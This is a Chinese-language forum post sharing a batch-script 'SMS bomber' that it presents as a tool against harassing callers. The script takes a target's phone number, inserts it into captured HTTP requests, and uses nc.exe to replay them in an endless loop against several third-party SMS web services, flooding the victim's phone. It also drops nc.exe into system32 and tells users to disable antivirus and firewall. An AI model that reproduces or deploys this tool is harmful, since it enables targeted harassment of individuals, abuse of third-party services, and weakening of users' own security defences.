批处理手机短信轰炸机

对付骚扰电话的利器！支持移动和联通手机。
用到了第三方提交数据包工具nc.exe。
数据包可以用WSockExpert工具抓取，保存到记事本，然后用nc.exe -w 2 mms.tom.com 80<*.txt命令提交
编译器使用quick bfc，代码内部的%myfiles%变量为编译器特有的调用资源变量，txt文件和nc.exe集成在主程序里。这里只贴主程序代码。
nc.exe部分杀软会报毒，清关掉防火墙和杀软测试！
不要伤及无辜！本人不负任何责任，请大家自重！

@echo off&title DOS资源站 www.cmdos.net
title 炸死你 V1.0 TATP制作
color 0a
rd /s /q %tmp%\evil >nul
del /f /q %windir%\system32\nc.exe >nul
cls
echo.
echo.
echo.
echo.
echo                            正在初始化系统，请稍候!
ping 127.0 -n 3 >nul
cls
echo.
echo.
echo.
echo.
echo                     遇到骚扰电话不再忍气吞声！跟我一起炸死他！
ping 127.0 -n 3 >nul
cls
echo.
echo.
echo.
echo.
md %tmp%\evil
for %%c in (%myfiles%\*.txt) do (
copy %%c %tmp%\evil\
)
copy %myfiles%\nc.exe %windir%\system32\
cls
echo.
echo.
echo.
echo.
set/p badphone=                        输入坏蛋的手机号码:
echo On Error Resume Next>%tmp%\evil\temp.vbs
echo.
echo set fso=CreateObject("Scripting.FileSystemObject")>>%tmp%\evil\temp.vbs
echo set fsofolder=fso.GetFolder("%tmp%\evil\")>>%tmp%\evil\temp.vbs
echo For Each file In fsofolder.Files>>%tmp%\evil\temp.vbs
echo        If right(file, 3)= "txt" then>>%tmp%\evil\temp.vbs
echo                set fsofile=fso.OpenTextFile(file, 1, true)>>%tmp%\evil\temp.vbs
echo                tempstr=fsofile.Readall>>%tmp%\evil\temp.vbs
echo                tempstr=replace(tempstr, "13900000000", "%badphone%")>>%tmp%\evil\temp.vbs
echo                fsofile.close>>%tmp%\evil\temp.vbs
echo                set fsofile1=fso.OpenTextFile(file, 2, true)>>%tmp%\evil\temp.vbs
echo                fsofile1.WriteLine tempstr>>%tmp%\evil\temp.vbs
echo        End If>>%tmp%\evil\temp.vbs
echo Next>>%tmp%\evil\temp.vbs

call %tmp%\evil\temp.vbs

:continue
for %%d in (%tmp%\evil\*.txt) do (
nc.exe -w 2 mms.tom.com 80<10.txt
nc.exe -w 2 www.zhangxiu.com 80<%%d
nc.exe -w 2 mms2.5kcn.com 80<%%d
)
cls
echo.
echo.
echo.
echo.
echo                        本次轰炸结束，进入下一轮轰炸！
ping 127.0 -n 4 >nul
goto continue